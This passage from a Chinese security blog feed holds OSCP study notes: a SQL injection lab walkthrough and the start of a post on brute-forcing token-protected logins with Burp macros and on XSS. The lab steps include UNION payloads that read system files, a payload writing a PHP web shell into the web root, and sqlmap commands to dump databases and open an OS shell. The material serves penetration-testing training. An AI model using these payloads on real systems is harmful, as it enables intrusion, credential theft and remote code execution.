&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="mi"&gt;50&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="mi"&gt;51&lt;/span&gt; &lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;&lt;span class="err"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;导致 SQL 注入的易受攻击代码在列表 332 的第 39 行。注入点位于查询末尾的&amp;quot;WHERE&amp;quot;子句中，这使得使用&amp;quot;UNION&amp;quot; payload 变得容易。查询的结果被获取，然后在第 45 行写出以供显示。请注意，虽然查询中包含三列，但只显示其中两列。这就是为什么我们使用第二列和第三列从另一个表中提取数据。&lt;/p&gt;
&lt;h3 id="练习-4"&gt;练习
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;使用 SQL 注入枚举数据库的结构。&lt;/li&gt;
&lt;li&gt;理解如何以及为什么可以从注入的命令中提取数据并将其显示在屏幕上。&lt;/li&gt;
&lt;li&gt;从数据库中提取所有用户和相关密码。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="从-sql-注入到代码执行"&gt;从 SQL 注入到代码执行
&lt;/h2&gt;&lt;p&gt;让我们看看能将这个漏洞推进到什么程度。根据操作系统、服务权限和文件系统权限，SQL 注入漏洞可用于读取和写入底层操作系统上的文件。将包含 PHP 代码的精心制作的文件写入 Web 服务器的根目录，然后可以利用它来实现完整的代码执行。&lt;/p&gt;
&lt;p&gt;首先，让我们看看是否可以使用 load_file 函数读取文件：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;http://10.11.0.22/debug.php?id=1 union all select 1, 2, load_file(&amp;#39;C:/Windows/System32/drivers/etc/hosts&amp;#39;)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;这应该输出 hosts 文件的内容：&lt;/p&gt;
&lt;p&gt;接下来，我们将尝试使用 INTO OUTFILE 函数在服务器的 Web 根目录中创建恶意 PHP 文件。根据我们已经看到的错误消息，我们应该知道 Web 根目录的位置。我们将尝试编写一个简单的 PHP 一行代码，类似于 LFI 示例中使用的代码：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;http://10.11.0.22/debug.php?id=1 union all select 1, 2, &amp;#34;&amp;lt;?php echo shell_exec($_GET[&amp;#39;cmd&amp;#39;]);?&amp;gt;&amp;#34; into OUTFILE &amp;#39;c:/xampp/htdocs/backdoor.php&amp;#39;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;如果成功，该文件应该放在 Web 根目录中：&lt;/p&gt;
&lt;p&gt;此命令产生错误消息，但这并不一定意味着文件创建不成功。让我们尝试使用 cmd 参数（如 ipconfig）访问新创建的 backdoor.php 页面。&lt;/p&gt;
&lt;h3 id="练习-5"&gt;练习
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;利用 SQL 注入以及 MariaDB INTO OUTFILE 函数获取代码执行。&lt;/li&gt;
&lt;li&gt;将简单的代码执行转变为完整的 shell。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="自动化-sql-注入"&gt;自动化 SQL 注入
&lt;/h2&gt;&lt;p&gt;我们遵循的 SQL 注入过程可以借助 Kali Linux 中预安装的几个工具实现自动化。其中一个更值得注意的工具是 sqlmap，它可用于识别和利用针对各种数据库引擎的 SQL 注入漏洞。&lt;/p&gt;
&lt;p&gt;让我们在示例 Web 应用程序上使用 sqlmap。我们将使用 -u 设置要扫描的 URL，并使用 -p 指定要测试的参数：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;kali@kali:~$ sqlmap -u http://10.11.0.22/debug.php?id&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt; -p &lt;span class="s2"&gt;&amp;#34;id&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Sqlmap 将发出多个请求来探测参数是否易受 SQL 注入攻击。它还尝试确定正在使用的数据库软件，以便可以针对该软件调整攻击。在这种情况下，它发现了四种不同的技术来利用漏洞。它还列出了每种技术的 payload。即使 sqlmap 为我们完成工作，拥有这些示例 payload 也有助于我们理解它是如何利用漏洞的。&lt;/p&gt;
&lt;p&gt;我们现在可以使用 sqlmap 自动从数据库中提取数据。我们将再次运行 sqlmap，使用 &amp;ndash;dbms 将&amp;quot;MySQL&amp;quot;设置为后端类型，并使用 &amp;ndash;dump 转储数据库中所有表的内容。Sqlmap 在 &amp;ndash;dbms 标志中支持多个后端数据库，但它不区分 MariaDB 和 MySQL。将&amp;quot;MySQL&amp;quot;设置为足以满足此示例。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;kali@kali:~$ sqlmap -u http://10.11.0.22/debug.php?id&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt; -p &lt;span class="s2"&gt;&amp;#34;id&amp;#34;&lt;/span&gt; --dbms&lt;span class="o"&gt;=&lt;/span&gt;mysql --dump
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;除了在终端窗口中显示内容外，sqlmap 还创建了一个包含转储内容的 CSV 文件。&lt;/p&gt;
&lt;p&gt;Sqlmap 有许多其他功能，例如尝试绕过 Web 应用程序防火墙（WAF）的能力，以及执行复杂查询以自动完全接管服务器的能力。例如，使用 os-shell 参数将尝试在目标系统上自动上传和执行远程命令 shell。&lt;/p&gt;
&lt;p&gt;我们可以通过使用 &amp;ndash;os-shell 运行 sqlmap 在系统上执行 shell 来使用此功能：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;kali@kali:~$ sqlmap -u http://10.11.0.22/debug.php?id&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt; -p &lt;span class="s2"&gt;&amp;#34;id&amp;#34;&lt;/span&gt; --dbms&lt;span class="o"&gt;=&lt;/span&gt;mysql --os-shell
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;一旦 sqlmap 建立了 shell，我们就可以在服务器上运行命令并查看输出，如列表 337 所示。这个 shell 可能有点慢，但它可以提供一个有效的立足点来访问底层服务器。&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;&lt;strong&gt;重要提示：&lt;/strong&gt; 请注意，OSCP 考试中不允许使用 sqlmap。但是，我们建议在实验室和 Windows 10 实验室机器上进行练习。考虑将其与 Burp 和 Wireshark 等工具结合使用，以捕获工具正在执行的操作，然后尝试手动复制攻击。这通常是一种非常有效的学习技术，不应被忽视。&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h3 id="练习-6"&gt;练习
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;使用 sqlmap 获取数据库的完整转储。&lt;/li&gt;
&lt;li&gt;使用 sqlmap 获取交互式 shell。&lt;/li&gt;
&lt;/ol&gt;
&lt;h1 id="第九章总结"&gt;第九章总结
&lt;/h1&gt;&lt;p&gt;第九章内容提到了很多常见的web漏洞，但是教材上能提到的利用方法只简单描述了原理，没有考虑真实复杂环境下的WAF过滤，系统版本等问题。部分命令已无法再直接利用，推荐自行做专题的练习。&lt;/p&gt;
&lt;p&gt;[[upload-Labs 靶场 WP]] [[sqli-labs 靶场合集 WP]] [[DVWA 靶场 WP|DVWA]] [[xss-labs 靶场 WP]]&lt;/p&gt;
&lt;p&gt;&lt;a class="link" href="https://hackhub.get-shell.com/games/2/challenges" target="_blank" rel="noopener"
 &gt;在线靶场-综合漏洞练习靶场&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;更推荐用Docker镜像在本地练习更方便查看靶场内部设置，这样你可以直接查看你的上传的木马，注入的语句，在靶机里都是如何运作的，可以直接求证。一键拖取全部镜像命令：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;docker run -d --name upload-labs -p 8883:80 c0ny1/upload-labs
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;docker run -d --name xss-labs -p 8884:80 vulfocus/xss-labs
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;docker run -d --name sqli-labs -p 8887:80 acgpiano/sqli-labs
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;docker run -d --name dvwa -p 8888:80 vulnerables/web-dvwa
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;OSCP第十章之后的内容，本博客和公众号不再发布笔记，感兴趣的可以自行报名OSCP学习，或加入泷羽学习群分享交流。&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;🔔 &lt;strong&gt;想要获取更多网络安全与编程技术干货？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;关注 &lt;strong&gt;泷羽Sec-静安&lt;/strong&gt; 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻&lt;/p&gt;
&lt;p&gt;马上加入我们，共同成长！🌟&lt;/p&gt;
&lt;p&gt;👉 &lt;strong&gt;长按或扫描二维码关注公众号&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;直接回复文章中的关键词，获取更多技术资料与书单推荐！📚&lt;/p&gt;</description></item><item><title>Day26 Web漏洞-XSS跨站脚本</title><link>https://ruajingjing.top/post/day26-web%E6%BC%8F%E6%B4%9E-xss%E8%B7%A8%E7%AB%99%E8%84%9A%E6%9C%AC/</link><pubDate>Tue, 05 Aug 2025 14:20:01 +0000</pubDate><guid>https://ruajingjing.top/post/day26-web%E6%BC%8F%E6%B4%9E-xss%E8%B7%A8%E7%AB%99%E8%84%9A%E6%9C%AC/</guid><description>&lt;img src="https://ruajingjing.top/" alt="Featured image of post Day26 Web漏洞-XSS跨站脚本" /&gt;
 &lt;blockquote&gt;
 &lt;p&gt;关注&lt;strong&gt;泷羽Sec&lt;/strong&gt;和&lt;strong&gt;泷羽Sec-静安&lt;/strong&gt;公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h2 id="上一节补充核心知识点burp-suite-处理动态-token-的流程"&gt;​&lt;strong&gt;上一节补充​核心知识点：Burp Suite 处理动态 Token 的流程​&lt;/strong&gt;
&lt;/h2&gt;&lt;p&gt;下文的​ phpMyAdmin 替换为 DVWA 漏洞练习靶场为例子。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250807104944263.png"&gt;&lt;/p&gt;
&lt;h3 id="1-问题分析"&gt;​&lt;strong&gt;​1. 问题分析​&lt;/strong&gt;​
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;​&lt;strong&gt;​目标防护机制​&lt;/strong&gt;​：&lt;br&gt;
phpMyAdmin 登录表单包含动态生成的 &lt;code&gt;token&lt;/code&gt; 和 &lt;code&gt;set_session&lt;/code&gt; 值，每次请求都会变化，用于防止 CSRF 和暴力破解。&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​关键挑战​&lt;/strong&gt;​：&lt;br&gt;
直接爆破密码会因 Token/Session 不匹配失败（返回错误 &lt;code&gt;Error: Token/Session mismatch&lt;/code&gt;）。
调整DVWA靶场的安全设置为High然后打开 &lt;code&gt;Brute Force&lt;/code&gt; 有个登录框，可以练习登录的漏洞。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250807110321844.png"&gt;
随便输入用户名密码抓包后查看发现是有token值的，当前的响应是200，是正常的。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250807110352704.png"&gt;
但是当放到重放器中再次发包后返回的结果就是302，这样的话似乎就没办法用Burp爆破密码了。因为token值每发一次就会变化一次。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250807110422528.png"&gt;
如果在浏览器直接刷新也会提示token过期的。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250807151156958.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="2-解决方案burp-intruder-的宏macro功能"&gt;​&lt;strong&gt;​2. 解决方案：Burp Intruder 的宏（Macro）功能​&lt;/strong&gt;​
&lt;/h3&gt;&lt;p&gt;​&lt;strong&gt;​核心思路​&lt;/strong&gt;​： 通过 ​&lt;strong&gt;​&lt;code&gt;Recursive Grep&lt;/code&gt;（递归提取）​&lt;/strong&gt;​ 从服务器响应中动态捕获 Token/Session 值，并自动注入到后续请求。&lt;/p&gt;
&lt;h3 id="3-配置步骤"&gt;​​&lt;strong&gt;3. 配置步骤​&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="step-1-设置攻击位置positions"&gt;​&lt;strong&gt;​Step 1: 设置攻击位置（Positions）​&lt;/strong&gt;​
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;​&lt;strong&gt;​清除默认标记​&lt;/strong&gt;​：点击 &lt;code&gt;Clear §&lt;/code&gt; 移除 Burp 自动标记的位置。&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​手动标记关键参数​&lt;/strong&gt;​（4个位置需动态更新）：
&lt;ol&gt;
&lt;li&gt;​&lt;strong&gt;​Cookie 中的 &lt;code&gt;phpMyAdmin&lt;/code&gt; 值​&lt;/strong&gt;​&lt;br&gt;
（示例：&lt;code&gt;Cookie: phpMyAdmin=§动态值§&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​POST 表单中的 &lt;code&gt;set_session&lt;/code&gt;​&lt;/strong&gt;​&lt;br&gt;
（示例：&lt;code&gt;set_session=§动态值§&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​密码字段 &lt;code&gt;pma_password&lt;/code&gt;​&lt;/strong&gt;​&lt;br&gt;
（固定用户 &lt;code&gt;root&lt;/code&gt;，爆破密码：&lt;code&gt;pma_password=§密码字典§&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​Token 字段 &lt;code&gt;token&lt;/code&gt;​&lt;/strong&gt;​&lt;br&gt;
（示例：&lt;code&gt;token=§动态值§&lt;/code&gt;）
教材中用的是phpmyadmin，这里用的DVWA一样的，在要爆破的字段上设置&amp;quot;节&amp;quot;符号&lt;code&gt;§&lt;/code&gt;，点击 &lt;code&gt;Add §&lt;/code&gt; 按钮即可添加。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250807111149088.png"&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="step-2-配置-payloads递归提取动态值"&gt;​&lt;strong&gt;​Step 2: 配置 Payloads（递归提取动态值）​&lt;/strong&gt;​
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;​&lt;strong&gt;​Payload Set 1 &amp;amp; 2（Session 值）​&lt;/strong&gt;​&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;​&lt;strong&gt;​类型​&lt;/strong&gt;​：&lt;code&gt;Recursive Grep&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;​&lt;strong&gt;​提取规则​&lt;/strong&gt;​：&lt;br&gt;
从响应中抓取 &lt;code&gt;set_session&lt;/code&gt; 的隐藏字段值：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;&amp;lt;input type=&amp;#34;hidden&amp;#34; name=&amp;#34;set_session&amp;#34; value=&amp;#34;§提取值§&amp;#34; /&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;​&lt;strong&gt;​配置定界符​&lt;/strong&gt;​：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Start: &lt;code&gt;name=&amp;quot;set_session&amp;quot; value=&amp;quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;End: &lt;code&gt;&amp;quot;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;​&lt;strong&gt;​Payload Set 4（Token 值）​&lt;/strong&gt;​&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;​&lt;strong&gt;​类型​&lt;/strong&gt;​：&lt;code&gt;Recursive Grep&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;​&lt;strong&gt;​提取规则​&lt;/strong&gt;​：&lt;br&gt;
从响应中抓取 Token 值：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;&amp;lt;input type=&amp;#34;hidden&amp;#34; name=&amp;#34;token&amp;#34; value=&amp;#34;§提取值§&amp;#34; /&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;​&lt;strong&gt;​配置定界符​&lt;/strong&gt;​：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Start: &lt;code&gt;name=&amp;quot;token&amp;quot; value=&amp;quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;End: &lt;code&gt;&amp;quot;&lt;/code&gt;
打开设置，找到Session设置，看到有会话处理规则和宏的界面。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250807131740806.png"&gt;
选择刚刚登录抓过的包，搜索确定有token值的那个。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250807131917681.png"&gt;
点击添加宏。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250807132016663.png"&gt;
将字段匹配上去，名字是user_token，从 value=&amp;rsquo; 开始，然后正则匹配后面的字符。直接在页面上选中文字拖拽可以自动匹配，
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250807152152561.png"&gt;
添加好后保存。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250807152218148.png"&gt;
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250807152255644.png"&gt;
点击会话规则添加新规则。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250807152318467.png"&gt;
选择运行宏。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250807152711429.png"&gt;
汉化版的翻译对照。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250807152630376.png"&gt;
选择只更新此参数。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250807152932617.png"&gt;
设置工作的范围，只要重放和爆破两个确保打开即可，设置网络为目标的网络或者选择全都通过。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250807153142173.png"&gt;
再次发包发现即可无限次发包了。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;

 &lt;blockquote&gt;
 &lt;p&gt;这里我没有成功，用的是别人成功的截图。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250807165754805.png"&gt;&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h4 id="step-3-配置密码爆破payload-set-3"&gt;​&lt;strong&gt;​Step 3: 配置密码爆破（Payload Set 3）​&lt;/strong&gt;​
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;​&lt;strong&gt;​类型​&lt;/strong&gt;​：&lt;code&gt;Simple List&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​内容​&lt;/strong&gt;​：常用密码字典（如 &lt;code&gt;root&lt;/code&gt;、&lt;code&gt;password&lt;/code&gt;、&lt;code&gt;admin&lt;/code&gt; 等）。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250807170403572.png"&gt;&lt;/p&gt;
&lt;h3 id="4-核心技术宏-macros-如何工作"&gt;​&lt;strong&gt;​4. 核心技术：宏 Macros 如何工作​&lt;/strong&gt;​
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;​&lt;strong&gt;​首次请求​&lt;/strong&gt;​：
&lt;ul&gt;
&lt;li&gt;Burp 发送初始登录请求，服务器返回包含新 Token/Session 的 HTML。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​提取动态值​&lt;/strong&gt;​：
&lt;ul&gt;
&lt;li&gt;根据 &lt;code&gt;Recursive Grep&lt;/code&gt; 规则，从响应中抓取最新 Token/Session。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​注入下一次请求​&lt;/strong&gt;​：
&lt;ul&gt;
&lt;li&gt;将提取值自动填充到后续请求的标记位置（§§）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​循环直至成功​&lt;/strong&gt;​：
&lt;ul&gt;
&lt;li&gt;每次请求更新 Token/Session，绕过防护机制爆破密码。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="5-成功关键点"&gt;​&lt;strong&gt;​5. 成功关键点​&lt;/strong&gt;​
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;​&lt;strong&gt;​定界符精度​&lt;/strong&gt;​：&lt;br&gt;
需精确匹配 HTML 中 Token/Session 的上下文（如 &lt;code&gt;value=&amp;quot;...&amp;quot;&lt;/code&gt;），避免提取错误。&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​Payload 顺序​&lt;/strong&gt;​：&lt;br&gt;
&lt;code&gt;Pitchfork&lt;/code&gt; 要求每组 Payload 数量一致（密码字典需与 Token 列表同步）。&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​错误处理​&lt;/strong&gt;​：&lt;br&gt;
需验证提取逻辑是否覆盖服务器返回的所有动态值（Session + Token）。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="6-替代方案burp-的-session-handling-rules"&gt;​&lt;strong&gt;​6. 替代方案（Burp 的 Session Handling Rules）​&lt;/strong&gt;​
&lt;/h3&gt;&lt;p&gt;若需更灵活处理 Token，可创建 ​&lt;strong&gt;​宏（Macro） + Session Rule​&lt;/strong&gt;​：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;​&lt;strong&gt;​新建 Macro​&lt;/strong&gt;​：
&lt;ul&gt;
&lt;li&gt;捕获登录页 GET 请求 → 提取 Token/Session。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​创建 Session Rule​&lt;/strong&gt;​：
&lt;ul&gt;
&lt;li&gt;在爆破前自动执行 Macro，更新请求中的 Token/Session。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​应用范围​&lt;/strong&gt;​：&lt;br&gt;
绑定到 Intruder 或整个项目，自动化处理所有相关请求。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="xss漏洞"&gt;XSS漏洞
&lt;/h2&gt;&lt;blockquote class="alert alert-info"&gt;
 &lt;div class="alert-header"&gt;
 &lt;span class="alert-icon"&gt;&lt;/span&gt;
 &lt;span class="alert-title"&gt;Info&lt;/span&gt;
 &lt;/div&gt;
 &lt;div class="alert-body"&gt;
 &lt;p&gt;XSS漏洞在OSCP中不考i，而且在大多数漏洞平台不收录XSS的漏洞，但是在渗透钓鱼中可以作为辅助手段来达到目的。所以简单了解和知道基本的利用操作是很有必要的。
比如在baidu.com中如果xss弹出一个下面这个网站的域名，从而引导“粗心的”用户输入密码等信息，就能窃取用户凭证和其他敏感信息。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250807174013588.png"&gt;&lt;/p&gt;
 &lt;/div&gt;
 &lt;/blockquote&gt;
&lt;h3 id="核心安全概念数据消毒data-sanitization"&gt;​&lt;strong&gt;核心安全概念：数据消毒（Data Sanitization）​&lt;/strong&gt;​
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;​&lt;strong&gt;​定义与重要性​&lt;/strong&gt;​&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;数据消毒是清除或转换用户输入中危险字符/字符串的过程&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​未消毒数据危害​&lt;/strong&gt;​：攻击者可注入恶意代码（如XSS/SQL注入）&lt;/li&gt;
&lt;li&gt;深度防御原则：应在​&lt;strong&gt;​输入点​&lt;/strong&gt;​（提交时）和​&lt;strong&gt;​输出点​&lt;/strong&gt;​（显示时）双重消毒&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;​&lt;strong&gt;​漏洞成因​&lt;/strong&gt;​&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;// 危险示例：直接输出未消毒数据
echo &amp;#34;&amp;lt;td&amp;gt;&amp;#34; . $row[&amp;#34;text&amp;#34;] . &amp;#34;&amp;lt;/td&amp;gt;&amp;#34;; 
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;解决方案：使用&lt;code&gt;htmlspecialchars()&lt;/code&gt;转换特殊字符&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;// 安全示例
echo &amp;#34;&amp;lt;td&amp;gt;&amp;#34; . htmlspecialchars($row[&amp;#34;text&amp;#34;]) . &amp;#34;&amp;lt;/td&amp;gt;&amp;#34;;
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="跨站脚本攻击xss"&gt;​&lt;strong&gt;​跨站脚本攻击（XSS）​&lt;/strong&gt;​
&lt;/h3&gt;&lt;h4 id="漏洞类型"&gt;​&lt;strong&gt;​漏洞类型​&lt;/strong&gt;​
&lt;/h4&gt;&lt;table&gt;
